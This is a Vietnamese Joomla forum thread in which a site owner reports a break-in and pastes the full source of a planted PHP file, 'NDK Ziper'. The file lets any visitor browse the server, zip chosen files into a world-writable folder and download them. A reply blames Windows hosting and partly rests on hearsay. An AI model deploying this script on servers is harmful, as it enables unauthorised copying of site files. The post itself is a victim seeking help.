HOTNHAT.COM: Tôi đã bị hacker tấn công

Các vấn đề liên quan đến việc cập nhật, nâng cấp và chỉnh sửa mã nguồn để bảo mật và tối ưu cho Joomla!

Điều hành viên: maibinhnguyen, longbomts

HOTNHAT.COM: Tôi đã bị hacker tấn công

Gửi bàigửi bởi huongnk » 22 Tháng 8 2008, 10:19

Chào các bạn,

Hôm nay khi tôi mở FTP ra để upload dữ liệu lên web thì phát hiện ra có một file và một thư mục rất lạ là: hehe.php và ndkzipfiles của một người không quen biết có nick là kesitinh265@yahoo.com khi tôi chạy thử file hehe.php thì được biết đó là phần mềm NDK Ziper - ver 1.0. Tôi đã kiểm tra người có nick này trên mạng thì có được các thông tin sau:

1. Thông tin về Kesitinh265: http://www.google.com/search?q=kesitinh ... f8&oe=utf8
2. Thông tin về file hehe.php:
Đây là code file zip.php
<?
@set_time_limit(3600);
$conf['dir'] = "ndkzipfiles";
if ((isset($_GET['step']))&&(!empty($_GET['step']))) $step=$_GET['step']; else $step=0;
if ((isset($_GET['dirname']))&&(!empty($_GET['dirname']))) $dirname=$_GET['dirname']; else $dirname=".";
$dirname = str_replace("../","",$dirname);
class zipfile
{
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);

if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
} // end if

return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
} // end of the 'unix2DosTime()' method

function addFile($data, $name, $time = 0)
{
$name = str_replace('\\', '/', $name);

$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');

$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00"; // ver needed to extract
$fr .= "\x00\x00"; // gen purpose bit flag
$fr .= "\x08\x00"; // compression method
$fr .= $hexdtime; // last mod time and date

// "local file header" segment
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); // fix crc bug
$c_len = strlen($zdata);
$fr .= pack('V', $crc); // crc32
$fr .= pack('V', $c_len); // compressed filesize
$fr .= pack('V', $unc_len); // uncompressed filesize
$fr .= pack('v', strlen($name)); // length of filename
$fr .= pack('v', 0); // extra field length
$fr .= $name;

// "file data" segment
$fr .= $zdata;

// "data descriptor" segment (optional but necessary if archive is not
// served as file)
$fr .= pack('V', $crc); // crc32
$fr .= pack('V', $c_len); // compressed filesize
$fr .= pack('V', $unc_len); // uncompressed filesize

// add this entry to array
$this -> datasec[] = $fr;

// now add to central directory record
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00"; // version made by
$cdrec .= "\x14\x00"; // version needed to extract
$cdrec .= "\x00\x00"; // gen purpose bit flag
$cdrec .= "\x08\x00"; // compression method
$cdrec .= $hexdtime; // last mod time & date
$cdrec .= pack('V', $crc); // crc32
$cdrec .= pack('V', $c_len); // compressed filesize
$cdrec .= pack('V', $unc_len); // uncompressed filesize
$cdrec .= pack('v', strlen($name) ); // length of filename
$cdrec .= pack('v', 0 ); // extra field length
$cdrec .= pack('v', 0 ); // file comment length
$cdrec .= pack('v', 0 ); // disk number start
$cdrec .= pack('v', 0 ); // internal file attributes
$cdrec .= pack('V', 32 ); // external file attributes - 'archive' bit set

$cdrec .= pack('V', $this -> old_offset ); // relative offset of local header
$this -> old_offset += strlen($fr);

$cdrec .= $name;

// optional extra field, file comment goes here
// save to central directory
$this -> ctrl_dir[] = $cdrec;
} // end of the 'addFile()' method

function file()
{
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);

return
$data .
$ctrldir .
$this -> eof_ctrl_dir .
pack('v', sizeof($this -> ctrl_dir)) . // total # of entries "on this disk"
pack('v', sizeof($this -> ctrl_dir)) . // total # of entries overall
pack('V', strlen($ctrldir)) . // size of central dir
pack('V', strlen($data)) . // offset to start of central dir
"\x00\x00"; // .zip file comment length
} // end of the 'file()' method

function addFiles($files /*Only Pass Array*/)
{
foreach($files as $file) {
if (is_file($file)) //directory check
{
$data = implode("",file($file));
$this->addFile($data,$file);
} else {
// $data = implode("",file("ndkziper.txt"));
// $this->addFile($data,$file."/ndkziper.txt");
}
}
}

function output($file)
{
$fp=fopen($file,"w");
fwrite($fp,$this->file());
fclose($fp);
}

} // end class
//===================================
function getdir($path=".") {
global $dirarray,$conf,$dirsize;
if ($dir = opendir($path)) {
while (false !== ($entry = @readdir($dir))) {
if (($entry!=".")&&($entry!="..")) {
$lastdot = strrpos($entry,".");
$ext = chop(strtolower(substr($entry,$lastdot+1)));
$fname = substr($entry,0,$lastdot);
if ($path!=".") $newpath = $path."/".$entry;
else $newpath = $entry;
$newpath = str_replace("//","/",$newpath);

if (($entry!="NDKziper.php")&&($entry!="ndkziper.txt")&&($entry!=$conf['dir'])) {
$dirarray[] = $newpath;
if ($fsize=@filesize($newpath)) $dirsize+=$fsize;
if (is_dir($newpath)) getdir($newpath);
}
}
}
}
}// end func
//===================================
function getcurrentdir($path=".") {
global $conf;
$dirarr = array();
if ($dir = opendir($path)) {
while (false !== ($entry = @readdir($dir))) {
if (($entry!=".")&&($entry!="..")) {
$lastdot = strrpos($entry,".");
$ext = chop(strtolower(substr($entry,$lastdot+1)));
$fname = substr($entry,0,$lastdot);
if ($path!=".") $newpath = $path."/".$entry;
else $newpath = $entry;
$newpath = str_replace("//","/",$newpath);

if (($entry!="NDKziper.php")&&($entry!="ndkziper.txt")&&($entry!=$conf['dir'])) {
$dirarr[] = $newpath;
}
}
}
}
return $dirarr;
}// end func
//=========================
function size_format($bytes="") {
$retval = "";
if ($bytes >= 1048576) {
$retval = round($bytes / 1048576 * 100 ) / 100 . " MB";
} else if ($bytes >= 1024) {
$retval = round($bytes / 1024 * 100 ) / 100 . " KB";
} else {
$retval = $bytes . " bytes";
}
return $retval;
}
//=============================
$currentdir = getcurrentdir($dirname);
sort($currentdir);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>-:[ NDK Ziper - ver 1.0 - ndkphoto.com ]/title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<style type="text/css">
<!--
html {
overflow-x: auto;
scrollbar-face-color: #CECECE;
scrollbar-shadow-color: #6B6B6B;
scrollbar-highlight-color: #F8F8F8;
scrollbar-3dlight-color: #8A8A8A;
scrollbar-darkshadow-color: #8A8A8A;
scrollbar-track-color: #8A8A8A;
scrollbar-arrow-color: #215A8C;
}
body,td,th {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
color: #061D36;
}
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-color:#DCDCDC;
}
a:link {
color: #FF8400;
text-decoration: none;
}
a:visited {
text-decoration: none;
color: #FF8400;
}
a:hover {
text-decoration: none;
color: #FF6600;
}
a:active {
text-decoration: none;
color: #FF8400;
}
img { border : 0px; }
.bdr {
border: 1px solid #344559;
}
.ctittle {
font-size: 14px;
font-weight: bold;
color: #FFFFFF;
text-decoration: none;
background-color:#0063B0;
}
.mtittle {
font-size: 16px;
font-weight: bold;
color: #FFFFFF;
text-decoration: none;
background-color:#2B6082;
height:40px;
}
.ftittle {
font-size: 12px;
font-weight: bold;
color: #FFFFFF;
text-decoration: none;
background-color:#3A74AB;
height:25px;
}
.tittle {
font-size: 12px;
color: #FFFFFF;
text-decoration: none;
background-color:#3F668A;
}
.br_sp {
border-top-width: 1px;
border-top-style: dotted;
border-top-color: #003366;
color: #003333;
text-decoration: none;
font-size: 11px;
}
.btitle {
color: #FFFFFF;
font-weight: bold;
padding:5px;
}
.rowdir {
background-color:#EEEEEE;
color:#003333;
font-weight:bold;
}
.rowfile {
background-color:#FFFFFF;
}
.rowbut {
background-color:#FFFFCC;
}
-->
</style>
</head>
<body>
<script language="javascript">
/* - - - - - - - - - - - - - - - - - - - - - - -
NDK Javascript
- - - - - - - - - - - - - - - - - - - - - - - */
var ie45,ns6,ns4,dom;
if (navigator.appName=="Microsoft Internet Explorer") ie45=parseInt(navigator.appVersion)>=4;
else if (navigator.appName=="Netscape"){ ns6=parseInt(navigator.appVersion)>=5; ns4=parseInt(navigator.appVersion)<5;}
dom=ie45 || ns6;

function getobj(id) {
el = document.all ? document.all[id] : dom ? document.getElementById(id) : document.layers[id];
return el;
}

function checkall()
{
for ( i=0;i < document.finfo.elements.length ; i++ ){
if ( document.finfo.all.checked==true ){
document.finfo.elements[i].checked = true;
}
else
{
document.finfo.elements[i].checked = false;
}
}
}
</script>
<table width="100%" bgcolor="#1E476A" align=center border=0 cellspacing=1 cellpadding=1>
<tr><td align=center class="mtittle" valign="middle"><b>NDK Ziper - ver 1.0</b></td>
<td align=center class="ftittle">Coded by <a href="mailto:kesitinh265@yahoo.com">NDK</a> &copy 2006 </td></tr>
</table>
<br>
<? if ($step!=0) { ?>
<br />
<table width="70%" border="0" cellspacing="2" cellpadding="3" align="center" style="border:1px #666666 solid">
<tr>
<td align="center" bgcolor="#FFFFFF" height="100"><span id="status">
<p><img src="http://ndkphoto.com/images/wait.gif" width="32" height="32" /> <img src="http://ndkphoto.com/images/wait.gif" width="32" height="32" /> <img src="http://ndkphoto.com/images/wait.gif" width="32" height="32" /> <img src="http://ndkphoto.com/images/wait.gif" width="32" height="32" /> <img src="http://ndkphoto.com/images/wait.gif" width="32" height="32" /></p>

<p>Processing Zip Folders & Files selected .</p></span>
</td>
</tr>
</table>
<br>
<? } else { ?>
<form action="?step=1" id="finfo" name="finfo" method="post">
<table width="60%" border="0" cellspacing="1" cellpadding="3" align="center" style="border:1px #999999 solid">
<tr>
<td style="background-color:#2B6082; color:#FFFFFF; padding:5px;" align="left"><b>Current directory : <a href="?dirname=.">Ziper</a> <?
if ((!empty($dirname))&&($dirname!=".")) {
$lpath = explode("/",$dirname);
if (count($lpath)>1) echo "- <a href='?dirname={$lpath[0]}'>{$lpath[0]}</a>";
}
?></b></td>
</tr>
<?
for ($i=0;$i<count($currentdir);$i++) {
$entry = $currentdir[$i];
if (!is_dir($entry)) {
$class="rowfile";
$name = $entry;
} else {
$class="rowdir";
$name = "<a href='?dirname={$entry}'>{$entry}</a>";
// $name = $entry;
}
?>
<tr>
<td align="left" class="<?=$class?>"><input type="checkbox" name="zdir[]" value="<?=$entry?>" />&nbsp;<?=$name?></td>
</tr>
<? } ?>
<tr>
<td align="left" style="background-color:#2B6082; color:#FFFFFF"><input type="checkbox" name="all"onclick="java script:checkall();" />&nbsp;Select all</td>
</tr>
</table>
<br />
<table width="60%" border="0" cellspacing="1" cellpadding="3" align="center" bgcolor="#FFFFFF" style="border:1px #999999 solid">
<tr>
<td>File name : <input type="text" name="filename" value="NDKziper" size="40" />.zip</td>
<td align="right"><input type="submit" name="submit" value="&nbsp;&nbsp;&nbsp;Start&nbsp;&nbsp;&nbsp;" /></td>
</tr>
</table>
</form>
<? } ?>
<br>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="200" align="center" bgcolor="#3A74AB"><a href="NDKziper.php" class="btitle">Main</a></td>
<td align="center" bgcolor="#2B6082" class="btitle">&copy 2006 NDKphoto.com </td>
</tr>
</table>
<br>
</body>
</html>
<?
if ($step==1) {
$zdir = $_POST['zdir'];
if (count($zdir)>0) {
$dirarray=array();
$dirsize=0;
$zdirsize=0;
for ($i=0;$i<count($zdir);$i++) {
$ffile = $zdir[$i];
if (is_dir($ffile)) {
getdir($ffile);
} else {
if ($fsize=@filesize($ffile)) $zdirsize+=$fsize;
}
}
$zdirsize+=$dirsize;
for ($i=0;$i<count($dirarray);$i++) {
$zdir[] = $dirarray[$i];
}
if (!@is_dir($conf['dir'])) {
$res = @mkdir($conf['dir'],0777);
if (!$res) $txtout = "Cannot create dir !<br>";
} else @chmod($conf['dir'],0777);

$zipname = $_POST['filename'];
$zipname=str_replace("/","",$zipname);
if (empty($zipname)) $zipname="NDKzip";
$zipname.=".zip";

$ziper = new zipfile();
$ziper->addFiles($zdir);
$ziper->output("{$conf['dir']}/{$zipname}");

if ($fsize=@filesize("{$conf['dir']}/{$zipname}")) $zipsize=$fsize;
else $zipsize=0;

$zdirsize = size_format($zdirsize);
$zipsize = size_format($zipsize);
?>
<script language="javascript">getobj('status').innerHTML="<p><b>Zip successful !</b></p><p>Download : <a href='<?=$conf['dir']?>/<?=$zipname?>'><?=$zipname?></a></p><p>Original size : <?=$zdirsize?> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Zip size : <?=$zipsize?></p>";</script>
<?
} else {
?><script language="javascript">getobj('status').innerHTML="No file or folder selected !";</script><?
}
}
?>


Tôi đang dùng JL bản 1.0.13 và chạy trên host win. Mọi người bảo tôi khắc phục vấn đề này như thế nào bây giờ???

Rất mong nhận được sự giúp đỡ của mọi người.

many thanks.
huongnk
Newbie
Newbie
 
Bài viết: 14
Ngày tham gia: 14 Tháng 12 2006, 22:40

Quảng cáo tại Joomla Việt Nam - Liên hệ banquantri@joomlaviet.org
Quảng cáo tại Joomla Việt Nam - Liên hệ banquantri@joomlaviet.org

Re: HOTNHAT.COM: Tôi đã bị hacker tấn công

Gửi bàigửi bởi viet4777 » 22 Tháng 8 2008, 11:15

Hai năm trước tôi sử dụng windows 2k host tại brinkster.com để chạy http://www.luyenkim.net/home9 (Joomla 1.0.x3) bị deface liên tục và cũng bị tin tặc sử dụng để làm nhiều việc xấu mà mình k0 biết. Hơn nữa, cài đặt Joomla rất phiền hà, phải nhờ bên support của host nó set permission cho từng thư mục ??? , mà đã set rồi nghĩa là thư mục đó có full permission (~chmod 777) nên rất dễ bị hacker khai thác điểm yếu này....

Và 1 kết luận đơn giản là k0 nên sử dụng Joomla trên Windows host và tốt nhất là sử dụng Linux host cho an toàn.

P/S:
+ Bài này chỉ mang tính tham khảo.
+ Nghe đâu đó thấy nói Windows Vista đã khắc phục điểm này và thư mục cũng được chmod như Linux, Và bạn có thể yên tâm hơn khi sử dụng Windows host với các quyền cho thư mục và file.
Hình đại diện của thành viên
viet4777
JoomlaViet's Friend
JoomlaViet's Friend
 
Bài viết: 934
Ngày tham gia: 22 Tháng 7 2006, 13:25


Quay về Cập nhật, nâng cấp, bảo mật và tối ưu

Ai đang trực tuyến?

Đang xem chuyên mục này: Không có thành viên nào đang trực tuyến.1 khách.